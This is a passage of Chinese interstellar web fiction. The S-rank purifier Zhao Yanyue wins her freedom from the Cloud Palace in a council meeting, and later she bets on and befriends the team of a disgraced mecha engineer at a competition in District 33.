裘青枫见状眉尾一挑，嘲笑道：“虫族虽然长相骇人，其实身体都是由金属构成的，又不是什么恶心东西，你这样以后怎么上战场？” 她说完随手打了个响指，身后像大山一样的残骸便燃起了火红的烈焰。 赵宴月没接她这句话，裘青枫也不在意，转身道：“走吧，看看你今天捡了多少星币。” “等等。” 赵宴月指了指裘青枫粗糙又布满伤痕的手，又指了指身后带着铺面热浪的火山，矜持地表达惊讶：“这是……你放的火？” “你是哪来的土包子？”裘青枫接过赵宴月的麻袋低头数起了空罐，“这不就是灵兽的技能，契约了灵兽之后你也能用。” “喏，一共35星币，转你了。” 赵宴月的脑子里已经充满了“超人”两个字，连吱吱宝的到账提醒都没能让她回神。 虽然她一直都知道三垣星系不怎么讲科学，但是真亲眼看到人类在她面前展现超能力的时候，赵宴月还是有被小小的震撼到。 她微微仰头，看了一眼裘青枫身边的，即便瘦骨嶙峋也依旧高大而威猛的星火烈犬，忽然升起了一丝探寻的兴致，追在裘青枫身后好奇发问：“花花为什么这么瘦？” “不为什么。” 裘青枫没有多说的意思，朝她挥了挥手不耐烦道：“赶紧回家吃饭去吧。” 赵宴月单方面屏蔽了裘青枫这一句话，又向她凑近了一点：“是虫族的精神污染导致的吗？” 气势凌厉的女人挑眉看了她一眼：“知道你还问？” “我不知道，我瞎猜的。” 不远处的虫族残骸已经烧得只剩下一地黑灰，裘青枫走上前查看，耳边又传来少女的好奇询问声：“这火看着就是普通火焰，虫族残骸这种金属的熔点这么低吗？好像还挺易燃的。” “虫族残骸的熔点只对灵兽的火生效，再特殊的高温火焰对它们都没有作用。”裘青枫转过身双手抱胸，看着跟在她旁边的人：“你怎么还没走？” “都是老朋友了，和你聊聊天怎么了？搞得这么见外。” 裘青枫：“谁和你老朋友了？” “那就老客户。” 裘青枫嘴角一扯，无奈地妥协道：“你到底要问什么？” 既然她都这么说了，赵宴月直接指着厚厚黑灰中闪着点点光亮的细碎晶体道：“那是虫族晶源吗？” “都是些没有品级的晶源，算是我处理垃圾的小费。” 裘青枫弯腰捡起一个硬币大点的晶源，吹了吹上面的灰，“有品级的晶源早就被收走了，这些没被拿走的都是F级以下虫族的晶源，蕴含的能量不多，顶多卖出去给正常灵兽当个小零嘴吃。” 正常灵兽？ 赵宴月看了眼骨瘦如柴的星火烈犬，直白问道：“那你家花花能吃吗？” “它不能吃，自从被污染后，它就只能吃联邦特供的净化晶源。” 40-50 第41章 紫微星, 一区，云中宫殿。 天市星的净化天赋检测结束后，今年所有检测出来的净化师殿下名单已经全部被圣芙尔净化学院收录整理完毕。 长生殿里的工作人员来来往往, 将长廊两边的一块块长生碑擦得一尘不染。 负责刻字的邵师傅站在今年刚立好的长生碑前, 半天没有动作。 给邵师傅打下手的徒弟见他看着长生碑出神，立马凑过去眨巴着眼睛问道：“怎么了师傅？” 邵师傅见徒弟发问, 他抖了抖手里的名单，用手指了指上面的名字：“长生碑上的顺序都是按照等级高低从前往后排的，今年按理来说是这位B级的贺如故殿下排第一位才对, 但是段院长嘱咐我今年长生碑开头空出三个字的空间，我正想不明白呢。” “段院长都说了那就空出来呗, 反正我们听指挥就好了。”徒弟一边接过名单仔细看了看，不怎么在意地开口道。 “这不是空出来一块就残缺了吗，想想都不自在。” 说是这么说, 邵师傅比划好空出来的距离后便开始了刻字。 徒弟看名单的目光一顿, 像是突然发现了什么似的忽然抬起头打量了一番空出来的那个缺口，琢磨道：“之后就有人的名字补上了。” 邵师傅目光盯着石碑, 拿着刻刀的手稳极了，随口回道：“我倒也这么猜过, 又觉得不太可能。” “百分之百的可能。”徒弟将名单还给邵师傅, “你看, 上面写着‘星历202年, 净化师总数119名’, 我数了三遍上面都只有118个人。” 路过工作人员听到他们的谈话，停下脚步道：“大家都说今年有一位神秘的殿下没有露面，宝珠路1号的庄园也是空的，贺如故殿下入住的2号庄园。” 徒弟不由好奇道：“这是什么原因啊？ “这谁知道呢, 反正段院长没说，不过我猜这位神秘殿下等级应该A级打底了，不然以贺如故殿下的家世来看，没有哪个B级能压到他头上去。” “那倒是。” 另一边的赵宴月一踏上紫微星，还没来得及参观一下就被带去了一区的三垣星系会议中心，也就是传说中的联邦政府大楼。 工作人员安静地给她领着路，心里好奇得像是有猫爪在挠。 三垣星系三个宜居星都是自治状态，三垣星系会议中心基本不怎么启用，毕竟很少有需要三个星球的领导人共同商议的大事发生。 就算是虫族进攻，那也是进攻谁的附属编号星就由谁负责——除非遇到超大规模的虫潮需要联手对敌。 今天三垣星系的会议室不但启用了，主角竟然是身旁这位年纪轻轻的少女，这实在是太令人好奇了。 随着会议室的厚重大门被推开，赵宴月抬眸看去，里面的装修风格庄重而肃穆，仿佛空气里都透着一股权力的味道。 长长的会议桌边坐的人不多，但是两侧全是高大的虚拟屏。 屏幕里的人都坐在书桌后，和会议桌主座上坐的男人一起看了过来。 齐刷刷扭头的模样也让赵宴月在心里连连感叹星际的网速真不错，没有一丝延迟和卡顿。 “殿下贵安，我是紫微星首席执政官，闻星洲。” “贵安，执政官。” 赵宴月入乡随俗地打了个招呼。 穿着笔挺制服的男人微微颔首，朝自己左手边的座位示意了一下：“请入座吧。” 赵宴月踩着地毯无声无息地走了过去，在两侧虚拟屏里领导们热切的注视下坐到了座位上。 闻星洲一一为她介绍了在场的紫微星二三四五席执政官，和屏幕里太微星和天市星的执政官。 人数太多，赵宴月脸上挂着礼貌的微笑，实际上基本没记住。 还好她天天在网上1vn，不然一想到要和这么多人打辩论赛真是想想都绝望了。 赵宴月一边听闻星洲主持会议的开场词，一边垂眸端起茶水一口一口地喝着，给自己赛前润润嗓子。 “……以上，关于殿下提出的要求，各位执政官初步给出的意见是不赞同。” 屏幕里有苍老的声音开口道：“赵宴月殿下，如果不入住云中宫殿，考虑到安全问题只能隐姓埋名地在外生活，你的事迹不会被向外公布。” 又一个清晰的女声接起了话：“殿下是三垣星系从古至今唯一一位S级净化师，只要牺牲微不足道的一点自由，你会就被无数世人瞻仰，你只需要站在那，就会被所有人狂热地爱戴和推崇。” 她的声音越说越激动，情绪也逐渐高昂，相当具有煽动性，不少人听完连呼吸都重了一分。 闻星洲看向自己身侧的少女，发现她依旧一脸冷淡，仿佛没有任何世俗的欲望。 对绝大多数普通人来说，这一切确实难以抗拒，但她的神色丝毫不变，稳得似乎连心跳都没有快一分。 赵宴月将手里的茶杯放回桌上，杯底和桌面相撞，发出轻微的碰撞声。 “我提出的要求各位执政官都看过，我不会在这上面做出任何让步。” “……殿下应该知道你的安全有多重要，如果出了半分差池谁都承担不起。” “因为谁都承担不起所以我就必须失去自由吗？这是哪来的道理。” “准确来说只是失去一点点自由，但是现实意义上来说殿下能得到的远大于你会失去的。” “这可不是一点点，如果一个人的梦想就是成为净化师，那么即便有约束，那他也是自由的。”赵宴月习惯性地撑着脸懒懒道：“毕竟按照自己喜欢的方式生活就是自由，但我不喜欢这种生活方式，约束我对我来说和坐牢没区别。” “比起这些，殿下会得到的更多不是吗，不仅仅是人们的推崇，你甚至能成为信仰。” 赵宴月脸上的神情终于在此刻变了变，她一双狐狸眼中露出了“朽木不可雕也”的嫌弃：“这位执政官，你所说的‘得到更多’不过就是世人一时对我的看法，根本无需在意。” 她顿了顿，十分傲慢地开口道：“我的名字终究会永垂不朽，不过早晚而已。” 这句话一说，大家都安静了下来，气氛一时陷入了诡异的凝滞状态。 身为执政官的他们都不敢说自己的名字能永垂不朽，毕竟执政官的位置永远在那，永远有一代又一代的人前仆后继。 撒因在脑子里疯狂鼓掌，让赵宴月会说多说，它超级爱听。 赵宴月一边让撒因闭嘴，一边想着终于到自己的回合了。 她清了清嗓子道：“现在的情况是S级机甲尖兵们需要我，不是我需要他们，所以关于我提出的条件，各位领导们还不具备‘不赞同’的筹码。” 良久，有人开口问道：“人人都想当净化师，这已经形成根深蒂固的主流思想，或许也有极少数殿下有其他理想，只不过在发现自己有净化天赋后，他们往往都能舍弃，毕竟成为净化师不管是现实意义上还是精神层面上来说都是最为崇高的，赵宴月殿下似乎对‘净化师’这一职业没有丝毫滤镜？” 入住云中宫殿，所有人都将尊称净化师为“殿下”，这何尝不是一种思想的引导。 没有滤镜当然是因为她是外星人，根本没有受过三垣星系主流思想的教化。 这话说出来就有点吓人了。 赵宴月往自己脸上贴金道：“比起成为净化师的崇高，我觉得我的意愿更加崇高。” 她这句话翻译一下大概就是我不委曲求全我骄傲。 执政官们知道她的特殊性和不可代替性，所以才会有这么一场名为会议实则完全是苦口婆心劝说的谈话。 他们又没办法把人关起来逼着她净化 ，见她态度坚决也只能点头。 不管怎么说，眼前的少女能凭一己之力成为S级机甲尖兵最坚强的后盾，S级机甲尖兵有多重要人尽皆知，她的意义更是举足轻重。 不愿意住进云中宫殿就不住吧，不然还能怎么办，S级净化师的出现已经是无限趋近于零的概率里出现的奇迹了。 都说上天的礼物都暗中标好了价格，不省心也是他们应得的报应。 更别说在三垣星系能当执政官的没几个不是从编号星上杀出来的，不少人的精神海还等着S级净化师净化呢。 闻星洲一直没发表意见，见双方都没有再说下去的意思，他这才开口道：“既然如此，一切都将如殿下所愿，散会吧。” 会议厅的虚拟屏一个个关闭，就在赵宴月站起身时，闻星洲叫住了她：“请留步。” 赵宴月便又坐了回去，她这时候才有空打量了一眼这位几乎只充当了主持人角色的男人，发现他和其他人比起来倒是相当年轻。 这么年轻，鬼知道是靠什么混上来的。 闻星洲不知道她在想什么，温声开口道：“如果不入住云中宫殿，联邦会安排人暗中保护你的安全，除此之外，还会派人对你进行贴身保护，以防意外发生。” “因为会和你长时间近距离接触，这个人选你可以自己做主进行选择，嫌麻烦的话我也可以直接安排，殿下的意愿呢？” 赵宴月对这些细枝末节的事情不太在意：“直接安排吧，我都可以。” 闻星洲微微点了点头，没一会儿，就有一个个子高挑挺拔的女孩子走了进来。 “看看满意吗？” 赵宴月坐在座位上，微微偏头和站在自己面前的人对视了一眼。 长相老实但眼睛里透着股机灵劲的女孩忽地呆了一秒，然后猛地一弯腰道：“随时听候您的吩咐，殿下。” 赵宴月：“……” 怎么感觉有点傻里傻气。 她收回视线回过头：“挺满意的，就她吧。” 闻星洲的目光在两人身上轻轻转了一圈，看不出什么情绪地“嗯”了一声。 贴身保镖的名字叫易秋，年纪轻轻已经是A级契约者。 因为赵宴月并不住云中宫殿，即便她只在一区待到大学开学，联邦也大手一挥直接给她分配了住处。 两层的小洋房崭新干净，只不过家务机器人还没有充好电。 易秋虽然干的是保镖的活，见状干脆手脚麻利地手动收拾了起来。 赵宴月：“联邦给你开多少工资，怎么铺被子这种事你也干？” 易秋圆圆的眼睛里带着点灵气，声音老实巴交：“工资还挺高的。” 赵宴月坐在她铺好的床单上，好奇地闲聊道：“你是A级契约者，为什么要来当个小小的保镖？” “能给您当保镖是很荣幸的事，殿下。”易秋急忙开口，“而且我是享受联邦资助才成长为A级契约者，报效联邦也是应该的。” 既然是贴身保镖，赵宴月也不想听她一直殿下来殿下去的叫，闻言点点头：“叫我名字就好。” 赵宴月这边岁月静好，段院长那边却是忙昏了头，她名义上是圣芙尔净化学院的院长，实际对整个云中宫殿负责。 在知晓有一位S级净化师横空出世后，她来不及震惊又收到了上头传来的保密条例。 保密归保密，只要是她云中宫殿的人，在云中宫殿该有的待遇自然是不能少的，都得落实到位。 段院长将今年净化师的相关档案整理好，又将唯一的一份绝密档案塞进锁了一层又一层的保险柜，之后火速调出患上狂躁症的S级机甲尖兵名单。 每年从各大军校毕业的S级机甲尖兵都在240人左右，几十年下来数以万计，他们的精神海多多少少都带点问题，污染程度也只有比较重和十分重的区别。 这位S级殿下不会在紫微星待很久，可以说是分秒必争，只能从情况最危急的患者开始净化。 许多人等这一天已经等了太久了。 他们战功赫赫，最后却落得个被狂躁症折磨到神志不清的下场，甚至脾气也越来越阴暗孤僻。 不管是一直陪在身边鼓励着他们坚持下去的粉丝还是其他人，大家都是看在眼里疼在心里，这下事情可算是有了转机。 段院长看着一不小心就安排得满满当当的净化任务，刚想给赵宴月发送邮件，又突然想起人家会不会接单还是个问题。 高涨的情绪在意识到这一点后就像是冷水浇头怀抱冰。 她习惯了给殿下们直接安排任务，第一次遇到这种发任务还要对方同意的情况。 段院长翻着光脑上的排期表抱怨道：“一群不中用的老家伙，人家说什么就同意什么，什么都没争取到。” 收到段院长邮件的时候，赵宴月人已经在紫微星三十三区了。 紫微星的行政大区起名随意中透着一丝严谨，从一区排到三十三区，据说是按照当年各个区的GDP数值排的名。 然而紫微星的居民们似乎人均带点TOP癌，排名靠后的区每年都有超大批居民要求按照今年的GDP数值实行“区名轮换制”。 相比之下天市星的民风就淳朴多了，可能是万年老三当了多年，心态上已经摆烂。 当年的三十三区如今已经逆袭到了中上游的水平，原因就在于这个区举办的“机甲工程师竞技赛”相当火爆，拉动三十三区的GDP飞速增长，如今已经成为了招牌支柱产业，闻名全星系。 看着段院长发来的待净化名单，赵宴月随意回了句她有空会随机挑选幸运居民进行上门净化，不必等她。 S级机甲尖兵们基本都住在一区，一区也被称为云中宫殿之下最安全的地方，在虫族入侵的压力下，富豪们也纷纷把一区作为定居地。 一区的每一块土地都寸土寸金，就连简简单单的名字都透着一股权力和富贵——也和三十三区隔了十万八千里。 一走出三十三区的飞船港口，机甲工程师竞技赛广告标语横贯天际，街道上人声鼎沸，和一区是截然不同的热闹景象。 “好多人啊。” 入目是不计其数的霓虹广告牌，赵宴月刚感叹完就见听见身后传来“砰”的一声。 她回过头去，发现易秋将一个身形瘦小的男人按在了地上，被按住的人正连连哀叫。 长相很老实的女生神色冷冷地从男人兜里摸出一个眼熟的宝石发卡，赵宴月后知后觉地抬手摸了摸自己挽着的头发，上面传来的触感空空荡荡。 周围的人群见怪不怪地看着热闹，城市巡逻队也小跑着朝这个方向过来。 竟然敢偷她从地球上带来的超绝孤品发卡。 还从没被偷过的赵宴月顿时心头火气，她上前几步往男人身上不轻不重地踢了一脚，居高临下道：“什么档次，也敢偷我的东西。” 人证物证俱在，巡逻队将男人双手拷住，顺便提醒道：“三十三区小偷出了名的多，千万注意贵重物品。” 易秋沉默地站在赵宴月身后，把她的发卡重新别在头发上，赵宴月看向巡逻队的人问道：“为什么小偷很多？” 她这一问，巡逻队便知道了面前的少女是外地人，不由多提醒了几句道：“当然是因为机甲工程师竞技赛，有比赛自然就有赌局，倾家荡产的人可不少，多的是身为分文的流浪汉。” 原来是这样。 赵宴月来这就是为了现场观赛的，对赌博倒是意兴阑珊。 机甲工程师竞技赛并不是研究灵兽进化链，而是机甲工程专业的另一个分支，也是绝大多数机甲工程师研究的方向——构建机甲精神力脉络。 赵宴月在看到比赛信息的时候就很感兴趣，或者说她同意暑假来紫微星接单，有一半的原因就是奔着看比赛来的。 至于接单的事，等缺星币了她自己自然就会接了。 都说了是兼职嘛。 第42章 今天是机甲工程师竞技赛开赛第一天, 三十三区的中心竞技馆里已经人声鼎沸，巨大的场馆里座无虚席。 中心竞技馆已经成为了三十三区的标志性建筑，虽然地上只有一层, 但是地下却是有好几层, 作为选手们的工作区休息区和食堂。 竞技馆进门是大厅，巨大的虚拟屏上显示着各位参赛选手的姓名和赔率。 其他选手的赔率都大差不差, 赔率最高的人名字叫封嘉荣，几乎比其他人高两倍有余。 赵宴月原本对赌局兴致寥寥，但一看见这有些悬殊的差距, 赌狗瘾突然犯了。 她手肘撑着桌面，看向帮助下注的场外荷官问道：“这个封嘉荣的赔率为什么这么高？” 荷官热情开口解释：“他是第一次参加比赛的新人, 暂时还摸不清底细所以赔率才高，可能是黑马也说不定。” “小姑娘你可别听他的。”身边同样在下注的客人随口道：“这个封嘉荣虽然是第一次参加竞技赛，年纪可不小了, 他的事迹更是广为流传。” 赵宴月被勾起了点兴趣, 凑过去问道：”好姐姐，这又有什么说法？” 被繁复又华丽的首饰装点成圣诞树的雍容大姐抬头看了赵宴月一眼, 或许觉得她看着顺眼，提起了点闲聊的兴致。 “他宣称自己设计的机甲引力丝架构图精细到极致, 驾驭不了机甲是契约者精神力操控水平有问题, 不少找他架构引力丝的契约者都被他坑惨了, 被他架构出来的机甲, 那些契约者开得路都走不稳。” “那也不能这么说。”有人插话道：“封嘉荣曾经好歹也当过一段时间声名显赫的天才工程师, 之后不知道怎么路子就走歪了，架构出来的机甲契约者根本开不了，但是实力肯定是有的。” 赵宴月眨了眨眼，虽然对机甲工程了解得还不多, 但是这些基础知识她还是知道的。 机甲战宠到达终极态后便能化身生物机甲，但是此时的生物机甲并不能直接使用，必须先架构出引力丝。 引力丝就像是人体的血管，没有血管作为桥梁血液便无法流动，同理，没有引力丝作为桥梁，精神力便无法操控机甲。 厉害的机甲工程师可以根据每一位契约者的战斗习惯，设计出完全适配契约者的机甲引力丝架构图。 当契约者驾驶机甲越发熟练，引力丝的架构也会越发精细。 两者相配合，便能让庞大的机甲和契约者融为一体，达到身随心动的境界。 大姐说完一边摇头一边顺手给封嘉荣押了几注：“封嘉荣狗都不押，但是看在赔率高的份上下几注玩玩也行。” 旁边有其他下注的客人笑道：“封嘉荣带着参赛的契约者只有B级精神海，要是他能带个A级精神海的契约者，看在这么高赔率的份上，我也愿意赌一把。” “什么叫只有B级精神海，B级已经很不错了好吗？”一阵不爽的声音插了进来。 赵宴月微微挑眉看去，发现说话的男生看着和她差不多大，长相倒是白皙漂亮极了，此时正恼怒地看着之前说话的客人。 “是不错，不过封嘉荣狗不都押。” 或许是男生看着有些盛气凌人，客人心生退意不想和他纠缠，下完注火速进了馆内。 男生见状嗤了一声，他扭过头刚好和赵宴月对视了一眼，又像个炮仗似的眉头一皱道：“看什么看？” 赵宴月本来还撑在桌子边看热闹，这下倒是微微直起了身：“就看怎么了？怎么，收费啊？” 唱戏的人都走了，赵宴月本来也没有继续看下去的意思，但一听这话反倒挑衅似的盯着他的脸猛看。 “收费？我差你这三瓜……”贺如故说着说着突然眼睛一亮：“对，收费！” 看着伸到自己面前的手，赵宴月还挺稀奇的。 向来只有她管别人要星币，还是第一次碰到有人这么不要脸地向她要钱。 “就你这张脸还收费？”赵宴月切了一声，嫌弃道：“还没我好看，看你我不如照镜子。” “我没你好看？”贺如故掀起眼皮盯了回去，然后忽然像是被刺了一下似的垂了垂眸。 他又抬起眼看了赵宴月一眼，像是发现了新大陆似的：“你是挺好看的。” 赵宴月：“……” 这架到底还吵不吵了。 “我叫贺如故，你叫什么？”他突然凑上来歪了歪头问道。 赵宴月和他报了名字，然后又有些恍然大悟道：“就是联邦首富榜第一名那个贺家？” 贺如故傲慢中又带着点小矜持地点了点头，“你听过我的名字？” “我知道你，你就是贺江山的弟弟，你哥哥是联邦最年轻的S级机甲尖兵。” “什么叫‘贺江山的弟弟’。”贺如故一听这话就肉眼可见地神色阴沉了下去，“谁要和他沾边。” 赵宴月搞不懂这些奇奇怪怪的兄弟姐妹关系，也没对他这话发表评价。 倒是贺如故自己一秒调理好了状态，他又凑近一步，盯着赵宴月羞涩又黏糊地问道：“既然我们已经认识了，那就是朋友了，你能交点朋友费吗？” 赵宴月微微仰头和他确实权威的脸拉开一点距离，冷酷道：“为什么不是你给我交？” “因为我没星币。”贺如故理直气壮。 见有人看了过来，赵宴月干脆往后退了一步避免丢人：“小声些，这难道光彩吗？” “你用朋友费给封嘉荣多押几注好不好，那个赔率看着太丢人了。”贺如故说完画大饼道：“我一定给你赢回来，赢的就当是我给你交的朋友费，要不是我没星币我早就自己押了。” “你帮我赢回来？”赵宴月回忆了片刻，“你就是封嘉荣抽中的那个B级契约者？” 贺如故也不扭捏，直接点头承认：“对。” “你为什么没星币？” “因为我的卡被停了。” “你的卡为什么被停……” “好了好了。”贺如故连忙打断了她的话，“你是十万个为什么吗，能不能给我留点小隐私。” 赵宴月也不纠结这个话题，无所谓地点了点头，意有所指道：“交朋友费可以，不过我对封嘉荣还挺感兴趣的。” “这个好办。”贺如故张口就来：“我可以带你去见他，就说你是我的助理。” 坐在观众席看比赛哪有直接混进参赛选手里有意思。 赵宴月没有异议地向荷官交了点朋友费，成功让封嘉荣赔率小数点后第二位的数字往下降了一位。 “就这么点？”看着降了一点但约等于没有的赔率，贺如故难以置信道。 “嗯？”赵宴月脸不红气不喘，“我看着像是有很多星币的样子吗？” “难道不像吗？”贺如故有些怀疑起了自己的眼光：“我就是看你长得很有钱才和你做朋友的。” 眼见赵宴月要开口了，贺如故知道她嘴里说不出什么好话，直接拉着她的手腕往内部人员的电梯走：“嘘，我带你去找他。” 随着电梯下降到负二楼，贺如故找管理员给赵宴月要了个出入证。 领完证他正要继续去拉赵宴月，赵宴月却反手将他拉了回来，指了指自己身边的易秋道：“还有她。” 直到现在，贺如故才发现她身边还一直都跟着个人，他歪了歪头有些疑惑道：“她是谁？” “我的保镖。” 贺如故对赵宴月有保镖的事接受良好，他看向管理员，管理员微笑着又递出一张出入证。 三个人在安静又开阔的选手区绕了又绕，终于在一扇写有“封嘉荣”名字的房门前停了下来。 “这就是封嘉荣的个人工作间了，虽然上场比赛的是我，但是他架构引力丝的每个步骤都会被摄像头拍摄记录下来。” 贺如故用自己的参赛选手证刷开了房门，房间里的超高清大屏幕正直播着场馆里的比赛，解说员的声音慷慨激昂。 站在三米高机甲面前的鸡窝头中年男人扭过头看了过来。 他的目光在来人身上停留片刻，什么也没问，像是丝毫不在意陌生人的闯入，只是举起酒瓶喝了口酒便坐到了沙发上。 “封工程师。”贺如故十分自然地介绍道：“这是我的助理赵宴月，这是我助理的保镖。” 封嘉荣整个人都丧丧的，十分无所谓地应了一声：“哦，欢迎光临，自己找地方坐吧。” 贺如故将人带到便去观察他的机甲了，赵宴月也一点不见外，直接坐到了封嘉荣旁边的单人沙发上：“封工程师，久仰大名。” 一脸颓废的男人看着不是很想搭理人，但是他可能又觉得这样不太礼貌，于是胡乱点了点头当做回应。 “我一直对封工程师的引力丝架构技术相当仰慕。” 赵宴月说完又觉得这马屁太假大空，刚想继续补充，却听他开口自嘲道：“经我手的机甲都没人开的稳，你对这种技术很仰慕吗？” 问得好。 赵宴月立马照搬照抄刚从富婆姐姐嘴里听来的话：“驾驶不好一定是那些契约者的问题。” 封嘉荣闻言微微偏过头，视线从杂乱的头发中穿过停在少女清澈又真诚的大眼睛上。 他已经下意识调转了身体的朝向，语气却不冷不热地问道：“你真这么觉得？” “当然！您对引力丝的架构已经精细入微，那契约者对精神力的操控自然也得精细入微，开不稳机甲怎么会是您的问题呢。” 封嘉荣冷笑一声：“油嘴滑舌。” “这都是我的肺腑之言。”赵宴月立马反驳道，“要不是仰慕您的技术，我也不会专门来找您。” 倒也不是真的仰慕。 事实上赵宴月作为天市星人，今天之前都没听过他的名字，但是赵宴月对他说的那一套理论真的很感兴趣。 “驾驶不好机甲绝对不是我的引力丝架构技术有问题，而是你的水平完全跟不上我的技术”什么的，她很少见过有这么自信的。 如果封嘉荣说的是真的，那他或许真是被埋没的天才。 这么有意思的事情怎么能错过。 封嘉荣似乎已经很久没有被人肯定过了，他听了这话又喝了口酒，最终还是没忍住，像是个狂热地传教徒似的展示道：“寻常引力丝的架构有四个阶段，主干脉络，次干脉络，分支脉络和次分脉络，但我将次分脉络改成了细分脉络，细分脉络下每一根引力丝都细入毫芒，千丝万缕地分布在整具机甲上，只要精神力操控到位，就能做到真正的人机合一。” 他的语速越说越快，语气也越来越狂热，忽而双眼发亮地看向赵宴月：“人机合一你懂吗，你将不再是驾驶机甲，你就是机甲本身！你能将机甲的强度发挥到极致！” 封嘉荣说到这又拿出两张图，他指着其中一张道：“按照如今次分脉络的基础走向和分布，机甲的反应速度总会有延迟。” 他又拿出另一张往赵宴月眼前递了递，“你看，这是我之前给别人设计的引力丝架构图。” 封嘉荣说到这语气又沉寂了下来，重新变得神色恹恹：“这一单一个币没赚就算了还倒贴，这个契约者自己驾驶不了它，还让我赔偿了不少星币。” 赵宴月对比了一下两张架构图，发现主干脉络基本一致，次干脉络大差不差，分支脉络就已经出现较大变化，最大的差异在次分脉络上。 传统的次分脉络虽然密集但引力丝还算纤细适中，封嘉荣自创的细分脉络简直堪称蛛丝。 千丝万缕又密密麻麻，偏偏仔细看去每一根丝线都走向清晰，难以想象这是多大的工程量。 ——也不难看出对精神力的操控确实要求很高。 他是真不考虑契约者死活啊。 “都说精神海等级更高的契约者对精神力的操控更有优势，没找他们试试吗？”赵宴月提议道。 封嘉荣闻言痛苦地捂住了自己的头：“机甲尖兵本来至少就是B级精神海，自从名声毁了，就算是B级精神海也根本不会找我，更别说稀有的A级。” 他说到这又给自己灌了一口酒，丧丧地往沙发上一靠：“好不容易把灵兽培养到终极态，没有人会冒这么大的风险，换我我也不会选择我自己。” 赵宴月闻言看向了还在勤勤恳恳擦拭机甲的贺如故，想着那他真是个敢为天下先的壮士。 多么令人感动的信任。 贺如故敏锐地捕捉到了赵宴月的视线，都不用猜就知道了她在想什么。 “你那是什么眼神？”他从梯子上跳了下来，挥了挥手便将通体白色的机甲收了回去。 贺如故走到沙发边坐了下来，脸上挂起了和封嘉荣同款的忧伤：“反正等比赛过后，我也没有驾驶机甲的机会了，就算驾驶不了也无所谓。” 赵宴月：“……” 还以为是个互相信任的team，结果是都开摆了。 考虑到给贺如故留点隐私，赵宴月也没多问，三人瘫在沙发上静静地看着屏幕上的比赛。 比赛第一阶段的参赛机甲只构建了主干脉络，正在对战的两个契约者驾驶的机甲一举一动都如同蹒跚老人。 虽然四肢都能动，但就像PPT似的一卡一卡的。 贺如故扯了扯赵宴月的头发问道：“你怎么不问为什么了。” “那为什么？” “不告诉你。” 赵宴月：“……你以为我很想知道吗？” 她唰地把自己的头发从贺如故的手里扯了回来。 看着艰难操控机甲的参赛选手，赵宴月不由感叹道：“好菜啊。” 贺如故立马警觉起来，威胁道：“等下午我上场的时候，你可不许背后蛐蛐我。” 他说完又尝试挽尊：“参赛契约者的机甲在参赛前都是全新的，第一轮比赛也是契约者第一次驾驶机甲对战，能不摔跤就不错了。” “那有些契约者上手快，有些契约者上手慢，这对比赛的影响不是很大吗？毕竟这是机甲工程师竞技赛。” “要这么说那参赛契约者里还有A级S级精神海的呢，他们驾驶机甲的续航时间长，不是更不公平。” 一直没说话的封嘉荣难得加入了讨论组，十分公平公正道：“精神海等级影响不大，竞技赛禁止使用天赋技能，全靠机甲本身的强度对战，就算是B级精神海的续航时间也足够分出好几次胜负了。” 见封嘉荣开了口，赵宴月想了想朝他问道：“您为什么会参加这一次竞技赛？” 封嘉荣看了贺如故一眼，实话实说：“是他要参加，他说愿意让我给他的机甲架构引力丝我就来了。” 怎么真有人倒贴打工。 不等赵宴月继续问，另一边的贺如故已经预判了她的预判：“我来参加就是留个纪念，记录一下短暂的机甲尖兵时光。” “怎么说的好像马上要死了一样。” 赵宴月看着一个比一个无精打采的两人，为这一组的未来——准确来说是她下注的那些星币感到了一丝深深的忧虑。 封嘉荣看着屏幕听着解说，有些兴致乏乏地评价道：“竞技赛只有到分支脉络阶段才有些看点，细分脉络阶段是最考验工程师水平的，那时候契约者的驾驶经验基本可以忽略不计了，只要机甲适配基本可以做到得心应手。” 感觉时机差不多了，赵宴月十分自然地发问：“您下次架构次干脉络的时候，我可以过来近距离观看吗？” 封嘉荣也十分无所谓地回道：“随便，只要你不怕我把你带歪。” 毕竟是机甲工程师竞技赛，虽然对战的人是驾驶机甲的契约者，但是每一位参赛工程师的工作间也被投射在场馆的大屏幕里。 场馆里的观众数量众多，不少人都发现封嘉荣工作间里的三个人占据了三张沙发各瘫各的，唯有一名看着老实的少女端坐在另一名少女躺着的沙发上，一脸认真地看着比赛。 众人发出指指点点的声音。 “封嘉荣不愧是赔率最高的选手，这一屋子人的精神状态看着好像放弃了比赛似的。” “那不会，人家早就把主干脉络架构好了，也就花了十分钟吧。” “……十分钟？虽然说主干脉络最简单，也不至于十分钟就搞定了？” “真十分钟，我给封嘉荣下了几注，亲眼看着他架构的。” “不会真是黑马吧？” “那你也押他赢呗。” “当我没说，封嘉荣可是能让契约者开机甲开得路都走不稳的人，我都不敢想象他的水平。” “笑死了，就算是菜得离谱的工程师至少也能让契约者开着机甲跑起来吧？” “下午不就到他的比赛了，看看会不会第一轮淘汰吧。” “第一轮又看不出什么，你等着看第四轮吧，到时候左脚绊右脚给自己摔趴下想想都好笑，估计能上热搜。” “他能撑到第四轮？” “……那真是可惜了。” 第43章 下午快到贺如故上场的时候, 他把赵宴月从沙发上硬生生拖了起来，强烈要求她去楼上的现场观赛。 看转播确实没有现场有氛围，赵宴月想着自己买的SSSVIP前排票, 半推半就的和他一起上了电梯。 一进入场馆, 世界都变得喧闹起来，瞬间就被比赛特有的紧张热情氛围淹没。 贺如故要走选手入场通道, 在分开前，他突然扭过头十分认真地盯着赵宴月看了一眼。 赵宴月正被他看的不明所以，下一秒就听他语气沉重道：“你千万记得帮我加油。” “我可不是和你说着玩的。”贺如故想了想又强调道：“看赔率你就知道根本没人看好封嘉荣, 比赛可是会对外直播的，没有啦啦队我会很尴尬。” 不等赵宴月说话, 贺如故从兜里摸出两颗润喉糖和一个横幅，像是交付什么宝贵信物一样放在她掌心。 赵宴月：“……” 好歹是她押注的选手，加加油也是应该的。 被寄予厚望的赵宴月有些勉强地点了点头, 然后像是突然想到了什么似的, 也跟着语气沉重道：“是这样的贺先生，只有我一个人给你加油, 我也会尴尬。” “赵小姐，一条船上的蚂蚱就应该有难同当。” “那你给我交点丢人费吧, 我的脸面还挺值钱的。”赵宴月一边说着, 一边扯开横幅看了一眼。 贺如故一听这话不甘示弱道：“我的脸面也挺值钱的, 我爷爷可是联邦首富。” “你让我举这个给你加油？”赵宴月将横幅反过来凑到贺如故面前, 指着上面的字问：“你的脸面值不值钱先不说, 你看你脸皮倒是挺厚的。” 红底白字的横幅上赫然写着“精神接驳通天道，人甲合一即真神，如故一出惊寰宇，拳风余波灭星辰”, 堪称做作和浮夸的集大成者。 还人甲合一，这和驾照都没有的人去参加赛车比赛还高呼自己是车神有什么区别。 